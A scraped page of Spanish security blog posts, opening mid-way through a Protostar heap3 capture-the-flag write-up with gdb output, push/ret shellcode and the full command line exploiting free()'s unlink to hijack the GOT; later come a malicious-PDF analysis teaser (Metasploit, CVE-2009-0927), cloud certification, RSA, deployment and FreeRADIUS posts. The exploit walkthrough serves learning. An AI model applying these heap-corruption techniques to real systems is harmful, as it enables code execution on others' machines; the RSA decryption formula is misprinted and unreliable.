3638	in common/malloc.c

(gdb) x/34x 0x804c058
0x804c058:	0x41410043	0x04b11c41	0x04886408	0x00000008
0x804c068:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c078:	0x00000000	0x00000f89	0x00000000	0x00000000
0x804c088:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c098:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d8:	0x00000000	0x00000000
(gdb) i r
eax            0x8048864	134514788
ecx            0x0	0
edx            0x804b11c	134525212
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6f0	0xbffff6f0
ebp            0xbffff738	0xbffff738
esi            0x0	0
edi            0x0	0
eip            0x8049906	0x8049906 <free+226>
eflags         0x210206	[ PF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
0x8049906 <free+226>:	mov    %edx,0x8(%eax)
(gdb) 

Viendo el resultado de la ejecución sigue no ejecutándose correctamente. Hemos hecho un pequeño progreso, pero aún no conseguimos ejecutar la función winner(), ¿por qué? Como vemos arriba falla cuando intentamos copiar en eax+8 el valor de edx, que si nos fijamos en lo que está haciendo es copiar el puntero a GOT[puts] -12 (0x804b11c) hacia el valor de winner+8 (0x08048864+8) provocando el segmentation fault, ya que winner+8, es una dirección de solo lectura de la sección .text y no se puede escribir sobre ella.

La razón de este comportamiento es algo que no habíamos tenido en cuenta y es la cuarta línea de la macro unlink():

#define unlink( P, BK, FD ) {        	\
	BK = P->bk;                      	\
	FD = P->fd;                      	\
	FD->bk = BK;                     	\
	BK->fd = FD;                     	\
} 

La solución a este problema pasa por copiar en GOT[puts]-12 una dirección que apunte al shellcode que almacenaremos en el primer fragmento y desde ahí saltaremos a winner(). Como no estaremos apuntando sobre winner directamente y será el heap con permiso de escritura no se producirá una violación de segmento en la cuarta escritura de la macro unlink().

A continuación vamos a construir un shellcode que salte a la dirección de la función winner. Para eso lo haremos con un push/ret:

$ cat pushret.asm
mov 0x08048864, eax
ret
$ objdump -d pushret.o
pushret.o: 	file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   68 64 88 04 08      	push   $0x8048864
   5:   c3                  	ret

El shellcode será “68 64 88 04 08 c3”. Este shellcode tiene un tamaño de 6 bytes, por lo que no será sobrescrito por la cuarta escritura de la macro unlink() y por tanto no destrozará el shellcode. Si fuera más grande deberíamos tener en cuenta que la cuarta escritura de la macro unlink() nos lo puede sobrescribir. Después de estos pequeños ajustes quedaría así la ejecución:

$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` 
   `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+
      '\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C
that wasn't too bad now, was it? @ 1380116991

Como vemos hemos conseguido ejecutar la función winner(), tal y como era nuestro objetivo. Si algún exploiter experimentado encuentra alguna errata le agradeceré que me lo comunique para mejorar la entrada.

A continuación os pongo las referencias que para mí han sido imprescindibles para entender diferentes puntos del ejercicio. La referencia número tres me ha servido de guía para la resolución del ejercicio y la referencia 1 y 2, me han ayudado a entender muchos de los aspectos de cómo explotar la vulnerabilidad.

Referencias:

Análisis de PDF sospechosos

A raíz de los numerosos correos sospechosos con archivos adjuntos en formato PDF que estamos detectando últimamente, he decidido introducirme en el análisis manual de estos archivos para determinar si son maliciosos y qué comportamiento tienen, en caso de serlo. En este artículo voy a mostrar un sencillo ejemplo de generación y análisis de un PDF malicioso. Para la demostración haré uso de Metasploit para generar el archivo PDF malicioso y REMnux para el análisis del fichero PDF y su contenido. Vayamos por partes, para comenzar.

Generación del PDF

La creación es sencilla: simplemente se elige el exploit para la vulnerabilidad que se quiere aprovechar, en este caso se crea un archivo PDF en blanco con una vulnerabilidad en GetIcon para Adobe Reader (CVE-2009-0927). El código a ejecutar será un conexión inversa a la máquina del atacante.

[Read more…]

Certificados en la nube

Por enésima vez en este blog, vamos a hablar de un asunto que por norma general, suele levantar ampollas… Estamos hablando, como no, de las certificaciones. Si a eso le añadimos otro tema de moda (aunque bueno este ya está un poco más trillado) como es el de la nube, solo nos queda agitar y… ¡Eh voilà! Obtendremos certificaciones tanto para entidades como para profesionales. ¡Que tiemble el campo del titular del perfil de LinkedIn! Así pues, vamos a introducir a nuestros queridos lectores en estas nuevas certificaciones. Antes de empezar, me gustaría aclarar que probablemente nos dejemos muchas certificaciones sin mencionar.

Con lo dicho, vamos a comenzar con un clásico en el mundo de las certificaciones profesionales en el ámbito TI, como son las provistas por EXIN, y como no, con un curso de… traten de adivinarlo… ¡Efectivamente! Un curso de fundamentos en Cloud Computing (como ven EXIN nunca deja de sorprendernos). Sin entrar en detalle, los cursos que se ofrecen para la consecución de esta certificación suelen tener una duración aproximada de 2 a 4 días. El objetivo de esta certificación es acreditar conocimientos en los conceptos básicos del cloud computing, que van desde aspectos conceptuales hasta una serie de nociones básicas que permitan la correcta selección de un proveedor de cloud. Este curso, al igual que otros cursos de fundamentos, suele estar dirigido a un público que quiere iniciarse en la materia y no dispone de amplios conocimientos previos en esta área. Para presentarse a este examen, no se requiere la asistencia obligatoria a ningún curso; no obstante se considera recomendable.

Si os parece que este título nobiliario se queda corto, también es posible subir de nivel y obtener la certificación EXIN Certified Integrator Secure Cloud Service; sin embargo la consecución de esta certificación no implica la realización de otro curso relacionado con cloud computing sino que requiere estar acreditado en Cloud Computing Foundation, IT Service Management Foundation (ISO 20000), e Information Security Foundation (ISO 27002). El disponer de estos tres certificados presupone que el acreditado dispone de conocimientos que le permitan tener en cuenta aspectos de seguridad y de gestión de servicios en relación a servicios de Cloud Computing.

Además de las certificaciones de EXIN existen otras certificaciones a título personal. Una de ellas viene de la mano de CompTIA, no tan conocida por estos lares en comparación con EXIN. La certificación en cuestión se denomina CompTIA Cloud Essentials y no deja de ser una certificación equiparable a la propuesta por EXIN. El temario de esta certificación es el siguiente:

1. Características de los servicios Cloud desde la perspectiva del negocio.
2. Cloud computing y valor de negocio.
3. Perspectiva técnica y tipos de Cloud.
4. Pasos para conseguir una satisfactoria adopción del Cloud Computing.
5. Impacto y cambios del Cloud Computing en la gestión de servicios TI.
6. Riesgos y consecuencias del Cloud Computing.

Las demás certificaciones que me gustaría presentarles son las que propone la CSA (Cloud Security Alliance), quizá el organismo más representativo en cuanto a seguridad en el Cloud Computing. La primera de ellas, al igual que las anteriores, es una certificación para profesionales. Esta certificación se denomina CCSK (Certificate of Cloud Security Knowledge) y cabe destacar que está más enfocada a aspectos de seguridad, en comparación con las anteriores. En este sentido quizá es la más recomendable para los profesionales interesados en la seguridad de los servicios Cloud. El temario para preparar esta certificación se encuentra disponible en la propia web de la entidad y consta de:

Los exámenes que hay que realizar para conseguir estas certificaciones son de tipo test. En el caso de la certificación de EXIN consta de 40 preguntas y en los otros casos, de 50 preguntas.
Me he dejado para el final la parte referente a la certificación de proveedores de Cloud Computing. El marco propuesto por la CSA se denomina STAR (Security, Trust & Assurance Registry) y básicamente consiste en la creación de un registro de proveedores de Cloud Computing que proporcione información a los clientes acerca del grado de implicación de los proveedores en materia de seguridad. Este marco define tres niveles de certificación:

El primero consiste en una autoevaluación, por parte del propio proveedor, mediante el uso de un cuestionario proporcionado por la CSA. Este cuestionario está disponible en la propia web del organismo. Destacar que este primer nivel ha sido realizado por muchos proveedores importantes en referencia sus servicios Cloud. Entre éstos podemos encontrar: Amazon, HP, Microsoft, Red Hat, Symantec y un largo etcétera. Todos los cuestionarios de estas entidades están accesibles públicamente en el registro de la CSA. Les invito a echar un vistazo al cuestionario de Amazon para entender exactamente de qué va la cosa.

El siguiente nivel de certificación consiste en la certificación por parte de un tercero de la seguridad del proveedor de servicios cloud, partiendo de la consecución de la certificación ISO 27001 y el cumplimiento de una serie de criterios específicos definidos por la CSA, en una matriz de controles para el Cloud Computing. Existen entidades certificadoras que ya ofrecen servicios conjuntos de certificación en ISO 27001 y STAR, como es el caso de BSI. El último nivel de certificación, CSA STAR Continuos, actualmente está en desarrollo y se prevé que se encuentre disponible durante 2015.

Como pueden comprobar, poco a poco los servicios de Cloud Computing van conquistado cuota de mercado. Este hecho es irrefutable. Allá donde aparezca una nueva tecnología, habrá una nueva certificación. Y yo me pregunto ¿para cuándo las certificaciones en Big Data? Me van a permitir una última reflexión en lo que atañe a nuestra legislación. Ya sabemos que en el ámbito del cumplimiento del ENS, el CCN propone el uso de productos certificados; en este sentido quizá tendría cabida pensar en la certificación de servicios de Cloud Computing que den cumplimiento a los requisitos del ENS. Who knows?

Fundamentos sobre certificados digitales (VI) – Algoritmos Criptográficos

En nuestra entrada respecto a certificados digitales de este mes, nos vamos a centrar en un punto crítico dentro de la infraestructura de una PKI. Este tema se ha ido comentando leve y superficialmente en anteriores entradas; sin embargo, se trata de uno de los puntos más importantes que está afecta directamente con los propios a la construcción de los propios certificados y tiene una dependencia directa con la robustez de los mismos; este punto es el referente a algoritmos criptográficos.

Como introducción y a modo de repaso, un certificado digital no es ni más ni menos que un par de claves de criptografía asimétrica que, empleando las propiedades de las mismas, permiten identificar inequívocamente a una persona, entidad o website (en el caso de certificados SSL). Más información y detalle de esto en la entrada Fundamentos sobre certificados digitales I y II.

Las claves criptográficas se generan empleando algoritmos criptográficos, lo que propicia como ya se comentó, que cada clave empleada y cualquier información cifrada están directamente relacionadas mediante una relación matemática. Esto significa que siempre se conoce el método para obtener la clave privada correspondiente a una clave pública y viceversa (disponiendo de mensajes cifrados con las mismas). Entonces, ¿que impide a un tercero obtener la clave privada de alguien?, ¿cómo se puede asegurar la identidad de alguien únicamente basándonos en que posea una clave privada que aparentemente no es segura?

Los algoritmos de cifrado aprovechan operaciones que son sencillas de aplicar y que son extremadamente complejas de deshacer. Entiendo que este hecho es difícil de comprender, pero está directamente relacionado con la tecnología de cómputo actual y los métodos numéricos a nuestra disposición. Me explico: aunque el cómputo sea conocido y realizable, el hecho determinante es si se dispone de un método de resolución lineal y los mismos están implementados en hardware. Sin embargo, en los algoritmos de cifrado se aprovecha el hecho de que, con la tecnología y conocimiento existente en el momento en el que se diseñan, el tiempo de cómputo necesario para realizar las operaciones que permiten obtener una de las claves basándonos en la otra es, con mucho, más complejo que el necesario para generarlas y más largo que la propia vida del certificado.

Evidentemente y como más de uno ya habrá pensado, este hecho es relativo. Como es bien sabido, la tecnología avanza a pasos agigantados año tras año, y evidentemente no se disponía de la misma potencia de cálculo hace 20 años que ahora, ni se dispondrá de la misma potencia de cálculo ahora que dentro de 20. Del mismo modo, es posible que en el tiempo, se descubran métodos para resolver cómputo relacionado con el algoritmo de una forma más eficiente. Los hechos relatados hacen que un algoritmo que se considera seguro en un momento pueda dejar de serlo pasado un tiempo.

Un ejemplo conocido de este hecho es el algoritmo DES, que no se emplea para generación de claves asimétricas, pero sí para cifrado. En este caso, el algoritmo DES genera una clave, que es la que se emplea en el cifrado y el descifrado de la información.

El algoritmo DES surgió oficialmente el año 1975 y llegó a ser un estándar de facto de cifrado. De forma sencilla y omitiendo algunos detalles, el algoritmo DES es básicamente un algoritmo de cifrado por bloques: se ejecutan 16 fases idénticas de proceso denominadas rondas y en cada una de ellas se ejecuta la misma función (función de Feistel). Desde finales de los 70 hasta principios de los 90 aparecieron distintos grupos de investigadores que propusieron vulnerabilidades teóricas del algoritmo basadas en su criptoanálisis y se propusieron diversos modelos de máquinas para poder descifrar una clave DES en un tiempo razonable. Dichas máquinas eran inviables económica y técnicamente en los primeros años pero fueron yendo viables poco a poco conforme pasaban los mismos. Finalmente se demostró una de las vulnerabilidades del algoritmo en 1998, cuando se diseñó y construyó una máquina de propósito específico que fue capaz de obtener una clave DES basándose en datos cifrados en 2 días, sin desmerecer el trabajo de criptoanálisis realizado, fue la tecnología disponible en el momento para descifrar el algoritmo ya que, si el trabajo se realizó en dos días en 1998, ello implica que con la potencia de cálculo actual se descifraría la información en mucho menos tiempo.

Una vez puestos en contexto y pasando directamente a la materia que nos ocupa, si existe un algoritmo determinante en el uso de la criptografía en firma y certificado digital es el algoritmo RSA. El algoritmo se describe, de forma breve, como un algoritmo de clave asimétrica por bloques, y su robustez se basa en la complejidad computacional que requiere realizar una descomposición en factores primos de un número exponencialmente grande. Una descomposición de factores primos consiste en obtener de un número el conjunto de números primos que multiplicados de por sí dan dicho número. Este problema con números pequeños es sencillo de solucionar; más de uno se habrá acordado de sus tiempos en el colegio realizando descomposiciones en factores primos de números de dos y tres cifras. Sin embargo, este mismo problema con un número de cientos de cifras es muy complejo de resolver.

Un par de claves RSA, pública y privada, están formadas por dos partes diferenciadas denominadas módulo (n) y exponente (ec y ed). El módulo es común a ambas claves y el exponente es distinto en cada caso, empleándose el exponente de cifrado en la clave pública y el exponente de descifrado en la privada. Dichas partes tienen un propósito distinto dentro del cifrado y descifrado de la información.

Para la generación del módulo de las claves se deben seleccionar un par de números primos, la complejidad del cifrado dependerá directamente de la longitud de dichos números, por lo que por motivos de seguridad deberán seleccionarse aleatoriamente y deberán tener una longitud mínima.

Por otra parte, el cálculo de los exponentes se realiza basándose en relaciones matemáticas basadas en la función de Euler de los dos números primos originales. Estas relaciones permiten que ambos exponentes y el módulo cumplan con su función para el cifrado y descifrado.

Una vez se dispone de ambas claves, se puede realizar el cifrado y descifrado de la firma o información a enviar, para ello voy a recurrir a un sencillo ejemplo. Teniendo un mensaje M, el mismo se convierte mediante un protocolo pre acordado y reversible en un número entero m, sobre el que se implementará el cifrado. Dadas dos claves, una pública pub(n,ec), formadas por su módulo y exponente de cifrado y una clave privada priv(n,ed), formadas por su módulo y exponente de descifrado; el cifrado se aplicará con la siguiente fórmula:

c=m^(ec) mod(n)

Siendo c el mensaje cifrado que se podría transmitir sin riesgos. Se calcula la potencia del mensaje por el exponente de cifrado y se calcula el resto de su división por el módulo de la clave (dicha operación se denomina módulo, valga la redundancia). Ese último valor es el mensaje cifrado. Por su lado el descifrado se realiza del siguiente modo:

c=m^(ed) mod(n)

Una vez recibido y descifrado el mensaje con un método semejante al del cifrado, se volvería a aplicar el protocolo pre acordado para obtener el mensaje original M a partir de su número entero equivalente m. Esta relación es posible gracias a las propiedades matemáticas que se mencionan en la creación de los exponentes.

Como es obvio, el objetivo de un atacante que quiera suplantar la identidad de alguien empleando su certificado digital será obtener el exponente de descifrado dado que el módulo de la clave es común con la clave pública. Dado que los exponentes se calculan empleando los números primos originales que constituyen el módulo, para romper el cifrado se deberá factorizar el módulo para encontrarlos. Al ser el método de cifrado público, una vez obtenidos dichos números se podría generar ambas claves.

Como se ha podido observar las operaciones que se realizan en el cifrado y descifrado son relativamente simples, un detalle importante para la viabilidad de uso de un protocolo; del mismo modo, y a pesar de que no se ha entrado en detalles, las operaciones necesarias para obtener las claves RSA son más complejas que las de cifrado y descifrado, pero son exponencialmente más sencillas que las asociadas a la operación inversa, que requiere la factorización de números muy grandes.

La longitud de la clave RSA será por tanto la suma de las longitudes de módulo y cualquiera de los exponentes. Esta longitud se establece en bits y la seguridad del cifrado es directamente proporcional a la longitud de su clave, ya que la clave será más larga cuando más grande sea el número a factorizar. Lo habitual y recomendable en la actualidad es emplear claves de 2048 bits de longitud (lo que se traduce en emplear números primos de unas 617 cifras aproximadamente para calcular el módulo). Como es obvio, estos criterios se revisarán con el paso del tiempo y dependerán de la potencia de cómputo, así como de las vulnerabilidades o métodos que se puedan aplicar en el protocolo.

El método criptográfico empleado es fundamental para implantar criptografía de clave pública o cualquier otro método de cifrado, ya que determina específicamente la robustez del sistema implementado.

Con esto es todo, espero haber podido daros un poco de idea de qué es la criptografía y como funciona, así como cómo se aplica en certificados y firmas digitales. Espero que la entrada no haya resultado demasiado extensa ni demasiado compleja, ya que se trata de una materia que entiendo que para muchos puede ser algo aburrida. Muchas gracias por leernos como siempre, próximamente más entregas de esta serie.

Diseñando Sistemas V: Despliegue o implantación del sistema

Para finalizar los artículos sobre el ciclo de diseño y desarrollo de los sistemas de tratamiento de la información (ver I, II, III y IV), debo comentar los puntos que siempre me han ayudado en el despliegue o implantación de los sistemas.

Una vez completadas las pruebas y validadas por el usuario experto, es necesario obtener el visto bueno del cliente para su despliegue en su entorno real. Para ello, será necesario exponerle los trabajos realizados, las funciones desarrolladas en el sistema y validadas por su usuario experto, así como el plan de implementación o despliegue del sistema en su entorno de trabajo real, que deberá incluir el entrenamiento específico y necesario para los usuarios del sistema, la documentación que se les va a entregar (manual del usuario, gestión de incidencias, etc.), así como la planificación para la conversión y migración de datos, la verificación de los mismos, los procesos en paralelo (si se acuerda llevarlos a cabo) y finalmente la fecha límite de cierre del proceso de despliegue, a partir de la cual, lo que comienza es el servicio de soporte (si así se ha acordado).

Frecuentemente, se comprimen los tiempos y planes de trabajo en la implementación de los sistemas, dando por sentado que todo saldrá bien y cada cual asumirá su rol sin problemas, pero la realidad demuestra ser tozuda y contraria a esta visión.

Bajo mi experiencia, la disponibilidad y dedicación de los usuarios del sistema para el proceso de puesta en marcha es crucial y requiere una cuidadosa planificación que debe incluir acciones estratégicas tales como:

1. Es tarea de la dirección de la empresa el explicar y comunicar la implantación del sistema, las razones por las que se lleva a cabo y solicitar la colaboración de sus empleados, pero es muy importante evitar anunciar ningún tipo de restructuración interna con motivo de la implantación del sistema. En el caso de darse esta restructuración, debería separarse por completo de la existencia del proyecto, como decisión previamente tomada en la planificación estratégica de la empresa, de modo que está previsto hacerla con o sin el sistema. Hay que evitar que ambas cosas vayan asociadas desde arriba, aunque será inevitable que esto ocurra desde abajo.

2. El responsable de cada función afectada por el nuevo sistema debe estar convencido de que este representa una mejora en su trabajo y una oportunidad de cambiar hábitos y tareas que tal vez no sean las más productivas para la empresa, todo ello, sin sentirse amenazado en su puesto de trabajo, (visión que se da muy frecuentemente y desgraciadamente algunas veces muy cierta).

3. Los usuarios del sistema viejo, generalmente, tendrán que dedicar un tiempo extra a aprender el funcionamiento del nuevo ya que lo normal será que no puedan abandonar el trabajo diario salvo durante un corto periodo de tiempo. El estrés diario de su trabajo (afortunado quien no lo sufra) se va a multiplicar al tener que cambiar sus hábitos y herramientas de siempre por otras nuevas, además bajo la supervisión de alguien desconocido (el responsable de la puesta en marcha, del proveedor).

4. Deberá trabajarse con eficacia para acortar al máximo el periodo de transición entre los dos sistemas (viejo y nuevo) pero aplicando la necesaria paciencia y cortesía con todos los usuarios por igual, desde el más ágil hasta el más conflictivo, y sobre todo, deberán percibir que hay un soporte del proveedor y no un juez evaluador detrás de ellos. El proveedor debe seleccionar cuidadosamente a las personas más preparadas para esta tarea, que no suelen coincidir con los técnicos mas expertos que incluso en caso de conflicto o error, pudieran pensar que no se está apreciando su trabajo, si se plantean dificultades y discusiones sobre la funcionalidad y el diseño del sistema (ocurre con cierta frecuencia, sobre todo si no han tomado parte en las reuniones de diseño).

5. También hay que valorar cuidadosamente cuales son las mejores fechas para obtener la dedicación de los usuarios, evitando tareas de cierres de mes, por ejemplo, o cualquier otro periodo en el que la actividad en su trabajo sea más alta de lo normal.

Es por tanto necesario tener en cuenta todos estos factores y planificar adecuadamente las sesiones de entrenamiento, que además incluirá el uso del sistema en real sobre las bases de datos de pruebas.

La gestión de conflictos que puedan darse durante el proceso de implantación de un sistema es un asunto crítico para llegar a buen fin. Mi experiencia me aconseja que:

1. Los conflictos entre empleados del cliente y discusiones acerca de sus competencias y conocimiento deben ser ajenos al personal del proveedor. Nunca deberemos mostrar preferencias u opiniones acerca de las personas involucradas en el proceso, salvo cuando el cliente lo requiera y en el entorno de reuniones planificadas para este fin, donde el compromiso de confidencialidad debe ser claro.

2. Cuando surjan conflictos de entendimiento del nuevo sistema, la cortesía y la paciencia son clave, pero habrá que vigilar al posible usuario descontento que pueda estar dificultando la puesta en marcha y comunicar tal sospecha o certeza al responsable del proyecto, de nuevo con absoluta confidencialidad.

3. En grandes empresas, puede ocurrir que los representantes de los trabajadores (comité de empresa / sindicato) deseen participar o supervisar la implantación de nuevos sistemas, sobre todo, cuando se pueden percibir los cambios cómo un riesgo para los empleados, en lugar de cómo una oportunidad. Si se da esta situación, de nuevo el personal del proveedor debe ser totalmente ajeno a esta circunstancia y gestionar cualquier conflicto con el responsable interno del proyecto.

Finalmente solo decir que en estos artículos he tratado de transmitir recomendaciones muy generales basadas en las experiencias habidas durante mi vida profesional en entornos de todo tipo con múltiples actividades en el área de diseño programación e implantación de sistemas, así como en la explotación y en el soporte, y también como consultor de compañías multinacionales en proyectos globales. Hoy, cerca de mi jubilación, he considerado que estas experiencias pueden ser interesantes para quienes están en el camino de su carrera profesional, ya que además, no suelen ir incluidas en los planes de estudio ni suele haber tiempo en las empresas para compartirlas.

Seguridad Wi-Fi empresarial – Servidores radius (II)

En el capítulo anterior se hizo un resumen de los tipos de configuraciones que se pueden tener en un servidor radius. Ahora se describe la manera de configurar un servidor con Freeradius.

Como no podría ser de otra manera, no nos hacemos responsables del resultado de llevar a cabo las siguientes acciones y modificaciones, así que se recomienda aplicarlas primero sobre entornos no críticos además de no ejecutar nunca un script de una fuente no confiable o que se ignora lo que hace. ¿Somos una fuente confiable? Sí.

La instalación se puede hacer en cualquier sistema Linux. En este caso se ha escogido Debian wheezy. Para instalar Freeradius, primero se deben obtener algunos paquetes que son necesarios:

apt-get install dpkg-dev fakeroot libpam0g-dev libmysqlclient-dev libgdbm-dev libldap2-dev \
   libsasl2-dev libiodbc2-dev bind9 libkrb5-dev libperl-dev libpcap-dev libreadline-dev \
   libsnmp-dev libpq-dev libtalloc-dev libyubikey-dev libsqlite3-dev

[Read more…]